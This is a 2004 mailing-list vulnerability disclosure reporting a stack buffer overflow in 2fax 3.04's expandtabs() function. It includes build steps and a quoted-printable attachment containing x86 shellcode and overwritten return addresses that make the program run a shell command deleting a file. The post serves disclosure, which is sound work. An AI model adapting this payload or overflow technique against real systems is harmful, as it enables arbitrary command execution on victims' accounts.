[remote] [control] 2fax 3.04 expandtabs overflows s buffer

"D. J. Bernstein" <[email protected]> 15 Dec 2004 08:17:27 -0000
Newsgroups gmane.comp.security.software
Message-ID <[email protected]>
--nFreZHaLTZJo0R7j
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Ariel Berkman, a student in my Fall 2004 UNIX Security Holes course, has
discovered a remotely exploitable security hole in 2fax, a text-to-TIFF
converter. I'm publishing this notice, but all the discovery credits
should be assigned to Berkman.

You are at risk if you take an email message (or a web page or any other
source that could be controlled by an attacker) and feed it through
2fax. (The 2fax documentation does not tell users to avoid taking input
from the network.) Whoever provides the input then has complete control
over your account: he can read and modify your files, watch the programs
you're running, etc.

Proof of concept: On an x86 computer running FreeBSD 4.10, type

   wget http://www.atbas.org/2fax/2fax304.tgz
   gunzip < 2fax304.tgz | tar -xf -
   cd 2fax-3.04
   gcc -o 2fax 2fax.c

to download and compile the 2fax program, version 3.04 (current). Then
save the file 13.txt attached to this message, and type

   ./2fax 13.txt 13.tiff

with the unauthorized result that a file named x is removed from the
current directory.

Here's the bug: In 2fax.c, expandtabs() copies any amount of data into a
256-byte s array.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

--nFreZHaLTZJo0R7j
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="13.txt"
Content-Transfer-Encoding: quoted-printable

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAA=EBGY=89=CA=83=C2=18=89=111=C0=89A=04=83=C2=13=89Q=08=83=C2=08=89Q=0C=
=83=C2=03=89Q=10=89A=14=88A*=88A2=88A5=88A:Q=83=C1=08Q=83=C1 =83=C1=03Q=83=
=C0;P=CD=801=C0P@P=CD=80=E8=B4=FF=FF=FFabcdefghijklmnopqrstuvwxPATH=3D/bin:=
/usr/bin /bin/sh -c rm x.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=E0=F5=
=BF=BF=F8=F6=BF=BF=00
--nFreZHaLTZJo0R7j--